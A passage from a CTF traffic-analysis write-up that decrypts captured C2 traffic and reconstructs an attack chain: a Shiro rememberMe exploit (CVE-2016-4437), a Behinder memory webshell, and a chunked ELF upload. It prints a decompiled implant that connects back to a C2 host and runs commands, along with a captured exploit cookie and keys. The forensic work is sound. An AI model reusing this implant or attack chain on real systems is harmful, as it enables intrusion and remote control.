4: len48: b'\xe9\xb5\x887\xfc\x99\xb3I\x13_\x82\x14\xf1\xd4\x02\x86-\xa4\xa6`\x122\x83\x9aDFW\xecj\xb8\xect\x11\xc2\xf9\x86\x95\xdfYD1c\xbd\xba\xc2\x10\xdbg'
5: len43: b'\x00\xd8*\x1cf\xbf\xe0\x1e)\x1c+\x9b\x0bTN_,\x81\xe5\xfdU\x84BD\xc93\x86\xe0\x04~+\x06\xaa7\x9dqU+\xdf\t\xc5\xc2\xbe'
6: len110: b'~w\xdd4\xb39\xb1w\xf8/#N\x8d\xacf}m\xcf\xf03\xd9\x90\x01I\x95&qq\x9d\xbc.\xe5\x80~\xb6\xbb\xa9\x82\xf9\xe1\xf8\xc3\xf6JD\xcdr\x0e\xcafT\x14\xbed\xa1\x0f\x85\xaf\x01\xc0o\xc8\xeeI\xf6\xa8\xb8\xed\x95\x12\x13h\x16\xb9\xe9\n5\x8c\x03\xba\x05\xc1\xaa&P\x94\x00[n\xcf\xd1^ U\xbc^ v\\\x1e\xc6\xcd\x93L0P\x1cF\xd1;'
7: len105: b'\x9e,\x03F\x97\xae\xc4\xd6U\x05\xbe\xd7\x82i\xde*L\xadMNa\xe4\xa6\xf7!F\xe4y\xab\xe9\x9b\x1e\x98w\xd8\x94\xc9\x1a\xba\xec\x9cI\xd7\xeesfhV\xccR%\x95\xbbW\x85N\x08J\xe29\x8e"#IS\xca\xd0\xa2\xe7\xb8\x88\x8d4\xb1\x07\x06\xba\x18jt\xeeB\xcf8n\xc9\xa6\xcb;\x80\x1fz\xc9y\x9a\xed\\1E\xe5\x9a5\xab\xdbT'
8: len36: b'U|H\xd2\x0e\x1cN\t\xd2\x0e\xe3\x93[\x1c\xac[\xc6\x9f\xc7J\x16\x8f9\xd6\xc2\xd5W<\xee\xa9~\xf3\x0b\xfb\xdc\x02'
9: len31: b"|\xbb\xfc3\xae\xae\xab\xca\xd3eg0\t\xa3i\x12\xa7I&\x8b(\x1f=y\xc869'\xd0b\x9d"
cfb:
0: len31: b'\xdc\xcf@\x8fB9"\xb0\xa6\xbf\xc2\x1e\xb6Z\xeb_\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d'
1: len36: b"7\x01\xc0&\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f'\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04"
2: len30: b'S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp"\xdd\xef\xf1P\xf6me'
3: len31: b')\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80<@\xa6'
4: len48: b'V\x0f\xfc!w\xc5{\x06\xf7"\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03'
5: len43: b'W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O'
6: len110: b'\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r"\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2'
7: len105: b'\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K>\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb"Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&*\x8e\x01(W'
8: len36: b'\x91\x16\xe4x \x12\x9f"\xcbg!G\xa0N\x18\x17<M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88'
9: len31: b'\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5'
iv:ff*16
ctr:
0: len31: b'b\x7f\x8fa\xf5\xcfp\x04\xbfK\xb6\xd9\x0cl+\xd935\xff\xae\xc8\xc4e\x14\x11\r<\xae)\xb3\xdf'
1: len36: b'O\x10\x04\xa7\x92\xd8O\x93\xc4\xeb\xa6\x89\x9a\x05\xd9\x0cB\x90\xdbE7\r\xdb\x0c\xd8v\x9bc\xde\xe9\xcer\xde\xf6ht'
2: len30: b'Qp\xf8%\xfd\x94U\r*\xdf }\xab\xf6\xf9\x8a\xd5\xa5\xc0N;\x97\x16\x01\xee\xd7S\x0fw\xfb'
3: len31: b'\xf0\xab\x12\xacM_b\xd9m\n\x89\xb6\x9c\xfa\x96y\xc1\xb7\xccs\xc4\x95\xc8\x8d:{l4@s\x17'
4: len48: b'O\xc3\x83V\xd1\xf4\xef\x7f\xe8\xd0M\xa7=\r\xfb\xc2\xa9TO\xc1VKi\xb0\xfdT\xad\xf8\xdd\xd6K\xc9O\xech\xec\xe1\xf9R\xac\xcd+\xcb\xb3\x82W\x0eu'
5: len43: b'\xa6A\x8e|\x13Z\xb4\xc4\xc7\x8c\x8a\xa2\xae\xe7\x18\xfeoS\x89t|b\xc2;}\x97lU\xd9[_[\x04\x8c\xcd\x9f\x8c\xa4\xfa\xfe\xfd%\x1e'
6: len110: b'JI\xb2\xb6\xbe\xdd1\xdem\xa8\x19\xfe\xa9\xb6\x11\xb10&\xa0\x18\x7f\xa6L6L\x89\xc7\xfd\x9d 0\xf0v\x8b\xdc[\xdc+\xac\x98|\xc9\x9bcj\xa4\xc5_C\x05\x8c\x97\x85\xd6h\xf4\xae\xcayQ\x92\xe2\xd6S\xedg\x99=\xeen\xff\xcd\xce\xaa\x18\x06\xefc\xf5wALj\x8a\xcd\x9f\xf2L\xfd\xeew\x82\xbb\x8e\xf5\x1f\x91#\xf7qb.\x92\xf8\xc7\x97\xbeF\xabr'
7: len105: b'm<n2_\xb02\xa8a\x87\x8b\x8b\xf8b<\xdcH\xed4%\xee\xc4\xa4]5\xad,\xb7P\x1d\x87-QF6*\x0c\xce[`n\xa6fQ\xe9\x0b\t\xb9\xd3\xa8\xf2\x81ps\xc3\xda\x11\x0e\n\xf3\x94\x9f/\n`\x1d\xech\t\xfa$B\xbd\\\xc1\xc0\xe0\x87\x0c\xd0\xb2\x12\xc84$\x94B\xed\x84\xa1\xdd}obr~\xe8c\x95\x9b3a\xe9\xbb\xae'
8: len36: b'\x9a$\x8d\xb4N^\x17\xd4\xe6\xfe:\x16\xb9\xf8G\x07\xe9\\\xa9vd\xf0\x03\x90\x0eh\xf2\xea\xd5\xc7\x1c>\xd2\x1b\xb3W'
9: len31: b'Fq\x05e\x88\x00\x9dZ\xad\x8a\x06\x85\xa2\xe7y\x04\xba\xbb\x05\\V&\x985\x82\\T\xad\x05\x0c>'
cfb:
0: len31: b'b\x7f\x8fa\xf5\xcfp\x04\xbfK\xb6\xd9\x0cl+\xd9\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d'
1: len36: b"7\x01\xc0&\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f'\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04"
2: len30: b'S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp"\xdd\xef\xf1P\xf6me'
3: len31: b')\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80<@\xa6'
4: len48: b'V\x0f\xfc!w\xc5{\x06\xf7"\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03'
5: len43: b'W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O'
6: len110: b'\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r"\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2'
7: len105: b'\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K>\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb"Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&*\x8e\x01(W'
8: len36: b'\x91\x16\xe4x \x12\x9f"\xcbg!G\xa0N\x18\x17<M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88'
9: len31: b'\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5'
iv:key[:16]s
ctr:
0: len31: b'\xb6\xcd\x88\xa9\xd5l\xe4`\xb0E\x00u)\xcf?\xa3\x86\xdf\xd4\xb0\x90=\xfe\xd3\xd58\x13)\xc5\x0e,'
1: len36: b'B\x1c"\xb0\xfd\xd8-\xe6\x99\xc9\xf76(\x93E\xa8\x06\xd2\xefg(4\xa0\xb8\xf2\xd6\x97\x08C\xd9e\x01*\x8au\xf6'
2: len30: b"\xe3\xcb\x99\x98'\x7f \xfa\x80\x14Y>}p\x00\xca\xd5C\xf0\xb7wuw\xec\xab\xb5\x9c\xfd\n<"
3: len31: b'$\xe5\xc9.\xbb\xceC\xacF\t\xde7\\\x96\xd1\xc7\xdf#\x87\xfd\xe31\x81<\xa4\x8d\x9f\xbd\x070\xbf'
4: len48: b'\xd7\xf2x"\x87M{\xf5y\x8d7\xed\xfb\x8c[UC@?\xd2\x08\xb0\x0b5E\x05/\xe8\xd80s\xfa\xb0N\xd4\xc6\x14\xc4\xb4^y\x0c\xa3-\x1e\x00I\x03'
5: len43: b"\xbb\x8a\xdf'f\xe0-\x98\x96%-\xdb>W\xaaS=R\xc3\xa6W\xf6{\x138\x86\xecGzO\xad(\xfdn#i\x9a\x9b\xb4\xb9%+5"
6: len110: b'0\xf8D\xf0%\x9eb\x128\xd5mB\xe3z\xfe\xaf\xaa\xbe!\x1c\xbf XUV|>\x87\x0bBCu\x12O\x98^,+\xeb\xffl\x80\x88\x8f\xe8\xfe\xa8\xb9f\xa1\x93\x94\x13\xfe\xc7\xa98\xa8\x8a\x10\xae\xa1\xe7bC\xa6J\x99\xd7JR\x85\xa5\n_\xb0\xbf\xa6D\xc8S\x00ae@"\x01\xb1\x8a\x16\xd4WY\x16,7\xa4_\xa0\xe3\xaei\x02H\x02\xe9u\xc1\x86.'
7: len105: b"\xe8\xe4\xe5'5Z\xbd\xdfo\x89\xcf\x8c\xe2\xda\x10\x86Y\xfd\xa2\x92\x18r\xea\xa1\x15\x9an\x13\xec\x89F\x93\xbb\x9a]d>\x02\x85\xccj\xf8\x97\xc9\x18\x00\xf2\x06\x1bB.\x96\xc0\xf6\xdf~\xee\x17\x8e\xcaiH\xdb\xf8\x98\xb9}\xd5x\x93M\xa1\x00\xb2f\xfc\xc7X'I\xd1$\x03A\xd2Z\xaah\xc5Q>\x05\xe1*\xeehS\xe4\xe0\xe7`\xf0l\xa6\x01"
8: len36: b"8\x01A\xe1\xea<O\x81{2\xdaw\xa6\xc6\x83uP'\x87F\xe0\x7f\xdd\xbd\x00\xdd{\xc1#\x98Ay\xce\xbe\xebb"
9: len31: b'\xb0\x94cs\xdfd\xbb\xc0E\xa9\x88F(\t}\x82\x92\xf7\x90g\xe82\x85\xf7r\xa3M\x0f\xc6\xa1.'
cfb:
0: len31: b'\xb6\xcd\x88\xa9\xd5l\xe4`\xb0E\x00u)\xcf?\xa3\x1b\x10\tAv\xef\xde\xff0\x8cze\xaa\xf9\x9d'
1: len36: b"7\x01\xc0&\xa8\x88\xad5\x1d\xa4\xbd]F\nE{Vq\xcf\xbd#\xbe\x7f'\x8d\x0b\xae\xa1\xc17zk$\xfd\x88\x04"
2: len30: b'S\xa69\xb2w\x99\xffT\x9e\x10\x0cIL\xe8mI\x01\xf7\x96\x9dcp"\xdd\xef\xf1P\xf6me'
3: len31: b')\xf7\x99j5\xa9\xd70\x8e\x81\xda\xb6\x0bSY\xd9G.\x0b`\x83\xae\xf7d\x1f\xe9\xff\x80<@\xa6'
4: len48: b'V\x0f\xfc!w\xc5{\x06\xf7"\xcdQ\x1d\x0b\x11\xe1\xb9\xaa\x1cXE\xe8\r\xc1\x83\x15\xe8\r\ti=K\xa3\n\xe1\xbd\xafy\x83a]\xf6\xb75\xcfb\x86\x03'
5: len43: b'W\x85\xe2{o\x8d\xd4\xa3\xdaU^\xdb\xa1\x0bR\x03]\xd9\xf0,$Uv&\x16\r\xab\xd3\xc9\x0c \x91\xbe_CD\xcaza\xafv\x98O'
6: len110: b'\x10Nv\x1c\x0b\xc3B\xc3dh\x1e\xffq.\xab\x94\xf0\xa5\xec\xa3r"\n[\r\x98{\xd8\xa0Y\xd0\xf3\x0b\xe9\xa2C\x01\xaf&`r\xb4\x199\xb6\x93u\x039#\x99\xfb\x03\x83\xd1\xc4\x82\xceV\x91\xd3\xe2\xfbt9\x02\xacz\x86\xaaF\x12u\x9d0\xd9OAS\xfe\x00td\x9e\x16X\xd4\xbf\xb1:\xbb\x94\x13^/\x132~\xb5s\xc0\xef\x1f\xa6q|\xf3\xd2s\xa2'
7: len105: b'\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K>\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb"Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&*\x8e\x01(W'
8: len36: b'\x91\x16\xe4x \x12\x9f"\xcbg!G\xa0N\x18\x17<M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88'
9: len31: b'\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5'

最后尝试到GCM发现可能性很大，首先前两个发送的指令长度分别是$\frac{62}{2}=31$个字符和$\frac{60}{2}=30$个字符，如果对应前面发现的测试时惯用的指令pwd和ls，能够对应上剩下28个固定字符，符合GCM的特征。尝试使用GCM解密：

import base64
import binascii
from Crypto.Cipher import AES

key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=")

hex_str = """
1f000000
33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a
24000000
5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c
1e000000
e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234
1f000000
bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f
30000000
be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871
2b000000
2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a
6e000000
8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95
69000000
5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5
24000000
410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6
1f000000
7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4
""".replace('\n', '').replace(' ', '')

data = binascii.unhexlify(hex_str)

i = 0
chunk_idx = 0
while i < len(data):
    length = int.from_bytes(data[i:i+4], 'little')
    i += 4
    
    chunk = data[i:i+length]
    i += length
    
    nonce = chunk[:12]
    ciphertext = chunk[12:-16]
    tag = chunk[-16:]
    
    cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
    plaintext = cipher.decrypt_and_verify(ciphertext, tag)
    print(f"{chunk_idx}: len{len(plaintext)}: {plaintext}")
        
    chunk_idx += 1

得到：

0: len3: b'pwd'
1: len8: b'/var/tmp'
2: len2: b'ls'
3: len3: b'out'
4: len20: b'echo Congratulations'
5: len15: b'Congratulations'
6: len82: b'echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi'
7: len77: b'3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi'
8: len8: b'echo bye'
9: len3: b'bye'

将3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi丢进CyberChef，Base58+Base64解密后得到Flag：dart{d9850b27-85cb-4777-85e0-df0b78fdb722}

后续在尝试完整提取并逆向其中分片上传的二进制，因为发现payload本身有个blockIndex，用于索引当前是第几部分。让AI写了个完整逆向分析Java class并寻找索引和内容并拼接输出的脚本：

import os
import re
import base64
import subprocess
import concurrent.futures
from Crypto.Cipher import AES

# --- 配置区 ---
KEY = b"1f2c8075acd3d118"
DIR = "export"               # Wireshark 导出的 HTTP 对象所在文件夹
OUTPUT = "real_out.elf"        # 最终合并生成的文件
CFR_JAR_PATH = "cfr.jar" # 替换为你下载的 cfr.jar 的实际文件名
MAX_WORKERS = 16               # 线程数：你可以根据 CPU 核心数调大，比如 16、32

def decrypt_to_class(data):
    try:
        cipher = AES.new(KEY, AES.MODE_ECB)
        dec = cipher.decrypt(base64.b64decode(data))
        return dec[:-dec[-1]]
    except Exception:
        return b""

def decompile_and_extract(class_file_path):
    try:
        result = subprocess.run(
            ['java', '-jar', CFR_JAR_PATH, class_file_path],
            capture_output=True,
            text=True,
            check=True
        )
        source_code = result.stdout
        
        index_pattern = r'blockIndex\s*(?:\+?=|=\s*(?:this\.)?blockIndex\s*\+)\s*"(\d+)"'
        content_pattern = r'content\s*(?:\+?=|=\s*(?:this\.)?content\s*\+)\s*"([A-Za-z0-9+/=]+)"'
        
        index_match = re.search(index_pattern, source_code)
        content_match = re.search(content_pattern, source_code)
        
        if index_match and content_match:
            return int(index_match.group(1)), content_match.group(1)
            
    except Exception as e:
        pass
    
    return None, None

def process_single_file(fname):
    """
    单个线程执行的任务：读取、解密、写临时文件、反编译、提取、清理临时文件
    """
    path = os.path.join(DIR, fname)
    with open(path, "rb") as f:
        body = f.read().strip()
        
    java_class_bytes = decrypt_to_class(body)
    
    if java_class_bytes.startswith(b"\xca\xfe\xba\xbe"):
        # 确保每个线程的临时文件名唯一，防止冲突
        temp_class = f"temp_{fname}.class"
        with open(temp_class, "wb") as f:
            f.write(java_class_bytes)
        
        block_idx, content_b64 = decompile_and_extract(temp_class)
        
        # 清理临时文件
        if os.path.exists(temp_class):
            os.remove(temp_class)
        
        if block_idx is not None and content_b64 is not None:
            try:
                actual_chunk = base64.b64decode(content_b64)
                return block_idx, actual_chunk, fname
            except Exception as e:
                return None, f"解码异常: {e}", fname
                
    return None, "无效的 Class 或解密失败", fname

def main():
    files = [f for f in os.listdir(DIR) if os.path.isfile(os.path.join(DIR, f))]
    print(f"[*] 找到 {len(files)} 个文件。启动 {MAX_WORKERS} 个线程疯狂反编译中...")

    chunks_dict = {}

    # 启动线程池
    with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
        # 提交所有任务
        future_to_file = {executor.submit(process_single_file, fname): fname for fname in files}
        
        # as_completed 会在某个线程完成时立刻 yield，可以实时看到进度
        for future in concurrent.futures.as_completed(future_to_file):
            block_idx, result_data, fname = future.result()
            
            if block_idx is not None:
                chunks_dict[block_idx] = result_data
                print(f"[+] {fname} -> 提取成功: 块索引 [{block_idx}]")
            elif "无效" not in result_data:
                # 过滤掉非目标流量的报错干扰，只打印真的出错了的
                print(f"[-] {fname} -> 提取失败: {result_data}")

    if not chunks_dict:
        print("\n[-] 未提取到任何有效数据块。")
        return

    print(f"\n[*] 所有 {len(chunks_dict)} 块提取完毕。开始按 blockIndex 精准重组...")
    
    sorted_indices = sorted(chunks_dict.keys())
    
    with open(OUTPUT, "wb") as f:
        for idx in sorted_indices:
            print(f"[*] 写入块索引 [{idx}]")
            f.write(chunks_dict[idx])
            
    print(f"[!] 完美重组完成！生成文件：{OUTPUT}")

if __name__ == "__main__":
    main()

发现是一个Pyinstaller打包的elf。解压，逆向其中的inspect.pyc，得到：

# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.9

import os
import socket
import struct
import subprocess
import argparse
import settings
import base64
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
SERVER_LISTEN_IP = '10.1.243.155'
SERVER_LISTEN_PORT = 7788
IMPLANT_CONNECT_IP = '10.1.243.155'
IMPLANT_CONNECT_PORT = 7788
SERVER_LISTEN_NUM = 20
_aesgcm = None

def set_aes_key(key_b64 = None):
    global _aesgcm
    key = base64.b64decode(key_b64)
    if len(key) not in (16, 24, 32):
        raise ValueError('AES 密钥长度必须为 16, 24 或 32 字节（对应 128, 192, 256 位）')
    _aesgcm = None(key)


def encrypt_data(data = None):
    if _aesgcm is None:
        raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()')
    nonce = None.urandom(12)
    ciphertext = _aesgcm.encrypt(nonce, data, None)
    return nonce + ciphertext


def decrypt_data(encrypted_data = None):
    if _aesgcm is None:
        raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()')
    if None(encrypted_data) < 28:
        raise ValueError('加密数据太短，无法包含 nonce 和认证标签')
    nonce = None[:12]
    ciphertext_with_tag = encrypted_data[12:]
    plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None)
    return plaintext


def exec_cmd(command, code_flag):
    command = command.decode('utf-8')
# WARNING: Decompyle incomplete


def send_data(conn, data):
    if type(data) == str:
        data = data.encode('utf-8')
    encrypted_data = settings.encrypt_data(data)
    cmd_len = struct.pack('i', len(encrypted_data))
    conn.send(cmd_len)
    conn.send(encrypted_data)


def recv_data(sock, buf_size = (1024,)):
    x = sock.recv(4)
    all_size = struct.unpack('i', x)[0]
    recv_size = 0
    encrypted_data = b''
    if recv_size < all_size:
        encrypted_data += sock.recv(buf_size)
        recv_size += buf_size
        continue
    data = settings.decrypt_data(encrypted_data)
    return data


def main():
    sock = socket.socket()
    sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT))
    code_flag = 'gbk' if os.name == 'nt' else 'utf-8'
# WARNING: Decompyle incomplete

if __name__ == '__main__':
    parser = argparse.ArgumentParser('', **('description',))
    parser.add_argument('--aes-key', True, '', **('required', 'help'))
    args = parser.parse_args()
    settings.set_aes_key(args.aes_key)
    main()

也证明了猜想，确实是GCM
（不过这一看就是ai出的罢）

梳理

完整的链条应该是这样的：

sequenceDiagram
    participant Attacker as 攻击者 (Attacker / C2 Server)
    participant WebServer as Web 应用层 (Shiro / Behinder WebShell)
    participant OS as 底层系统 (Linux OS)

    rect rgb(240, 248, 255)
        note right of Attacker: 阶段一：Shiro 漏洞利用与 RCE
        Attacker->>WebServer: 持续爆破 rememberMe Cookie (CVE-2016-4437)
        WebServer-->>Attacker: 302 跳转 (爆破成功获取 AES Key)
        Attacker->>WebServer: 发送 RCE Payload (Authorization头传递命令)
        WebServer->>OS: 派生进程执行命令 (whoami, ls -la 等)
        OS-->>WebServer: 返回标准输出结果 (root 等)
        WebServer-->>Attacker: 返回 Base64 加密的命令结果
    end

    rect rgb(255, 240, 245)
        note right of Attacker: 阶段二：注入内存马与后渗透探测
        Attacker->>WebServer: POST 请求注入 Behinder(冰蝎) 内存马
        WebServer-->>Attacker: 返回注入成功标识 (->|Success|<-)
        Attacker->>WebServer: 访问 /favicondemo.ico 发送 AES 加密的 Java Class
        WebServer->>OS: 读取环境变量、网络信息、遍历 /tmp 与 /var/tmp 目录
        OS-->>WebServer: 返回底层系统状态和文件列表
        WebServer-->>Attacker: 返回 AES 加密的探测结果
    end

    rect rgb(240, 255, 240)
        note right of Attacker: 阶段三：分片上传与执行持久化木马
        Attacker->>WebServer: 多次发包分片上传二进制 ELF 木马
        WebServer->>OS: 将 Payload 块追加写入 /var/tmp/out
        Attacker->>WebServer: 发送 Hash 校验请求
        WebServer->>OS: 计算落地文件 /var/tmp/out 的 MD5 Hash
        OS-->>WebServer: 校验通过
        WebServer-->>Attacker: 返回 Hash 值确认文件完整性
        Attacker->>WebServer: 发送命令 chmod +x out 及 ./out --aes-key ...
        WebServer->>OS: 赋予执行权限并带密钥参数运行木马程序
    end

    rect rgb(255, 253, 230)
        note right of Attacker: 阶段四：TCP 反连与深层控制
        OS->>Attacker: Pyinstaller 木马向 C2 发起 TCP 反向连接 (10.1.243.155:7788)
        Attacker->>OS: 发送基于 AES-GCM 加密的指令 (pwd, ls, echo)
        OS-->>Attacker: 返回加密的执行结果 (最终输出 Flag)
    end

阶段一：Shiro 漏洞利用与 RCE 验证
- 攻击者通过发送包含 rememberMe Cookie 的 GET 请求，成功爆破出 Apache Shiro 的 AES 密钥。
- 随后，攻击者利用 Authorization 头传递加密命令，Web 服务器执行了 whoami 等命令，并返回了 Base64 加密的执行结果 root。
阶段二：植入内存 WebShell 与初步控制
- 攻击者向 / 路径发送携带 Java 类的 POST 请求，成功注入冰蝎（Behinder）内存马，并将 C2 通信信道建立在 /favicondemo.ico 路径上。
- 攻击者通过该信道下发经过 AES 加密的 Java Class，利用 Web 服务层读取了底层系统的环境变量、IP 信息（172.18.0.2），并执行了基础系统命令（如 ps -ef）。
阶段三：恶意木马上传与落地执行
- 攻击者通过 WebShell，利用 blockIndex 和 blockSize 参数将一个 ELF 二进制文件分片追加写入到系统的 /var/tmp/out 路径下，并进行了 Hash 校验（a0275c1593af1adb）。
- 攻击者下发 Shell 命令 chmod +x out 赋予文件执行权限，并通过 ./out --aes-key ... 在底层系统运行了该木马。
阶段四：TCP 反连获取 Flag
- 底层的 Python 恶意木马运行后，直接绕过 Web 层面，主动向攻击者的 C2 服务器（10.1.243.155:7788）发起 TCP 连接。
- 双方切换至 AES-GCM 算法进行通信，攻击者下发 pwd、ls、echo Congratulations 等远控指令，并在最终的回包中获取到了 Flag。

总的来说还是挺有意思（？

2026 CCSSSC - Traffic Analysis (traffic_hunt) - WriteUp

Sun, 15 Mar 2026 12:20:00 GMT

Layer 1: Apache Shiro CVE-2016-4437

Opening the pcapng capture file, most traffic was HTTP. Attempting to filter all HTTP requests:

_ws.col.protocol == "HTTP"

It was observed that the initial part consisted of GET scans. Later, several POST requests were directed to the same path /favicondemo.ico. Opening them revealed payloads:

POST /favicondemo.ico HTTP/1.1
...

eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr...

Attempting direct Base64 decryption failed, suggesting encryption. It was speculated that there was a prior stage involving trojan implantation or similar processing. Filtering all POST requests:

http.request.method == "POST"

HTTP stream 5009 contained a POST to /. Opening it revealed:

GET / HTTP/1.1
Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL
...

HTTP/1.1 302
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon, 05-Jan-2026 05:54:56 GMT
Location: http://10.1.33.69:8080/login
...

